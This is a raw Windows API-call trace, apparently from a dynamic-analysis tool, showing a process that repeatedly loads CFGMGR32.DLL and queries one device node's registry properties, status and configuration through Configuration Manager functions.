[0244.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.576] malloc (_Size=0x18) returned 0x20abc281fc0 [0244.577] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0244.581] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4d8b8105, dwHighDateTime=0x1d9eb0c)) [0244.582] SetEvent (hEvent=0x248) returned 1 [0244.592] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.592] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.596] malloc (_Size=0x18) returned 0x20abc2819a0 [0244.597] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0244.597] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4d8de79e, dwHighDateTime=0x1d9eb0c)) [0244.597] SetEvent (hEvent=0x248) returned 1 [0244.719] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.719] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.724] malloc (_Size=0x18) returned 0x20abc281b80 [0244.724] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0244.725] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4da0f4bc, dwHighDateTime=0x1d9eb0c)) [0244.725] SetEvent (hEvent=0x248) returned 1 [0244.733] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.733] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.738] malloc (_Size=0x18) returned 0x20abc281d20 [0244.738] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0244.738] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4da35667, dwHighDateTime=0x1d9eb0c)) [0244.739] SetEvent (hEvent=0x248) returned 1 [0244.748] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.748] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.753] malloc (_Size=0x18) returned 0x20abc282060 [0244.753] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0244.756] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4da5b8ec, dwHighDateTime=0x1d9eb0c)) [0244.757] SetEvent (hEvent=0x248) returned 1 [0244.764] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.765] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.769] malloc (_Size=0x18) returned 0x20abc281b80 [0244.770] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x37, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0244.770] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4da81d2f, dwHighDateTime=0x1d9eb0c)) [0244.770] SetEvent (hEvent=0x248) returned 1 [0244.925] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.925] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.929] malloc (_Size=0x18) returned 0x20abc281e00 [0244.930] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x37, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0244.933] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4dc25873, dwHighDateTime=0x1d9eb0c)) [0244.933] SetEvent (hEvent=0x248) returned 1 [0244.938] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.938] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.944] malloc (_Size=0x18) returned 0x20abc281d20 [0244.944] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0244.944] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4dc25873, dwHighDateTime=0x1d9eb0c)) [0244.945] SetEvent (hEvent=0x248) returned 1 [0245.399] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.399] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0245.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0245.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0245.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0245.402] GetProcAddress (hModule=0x7ffb1ced0000, 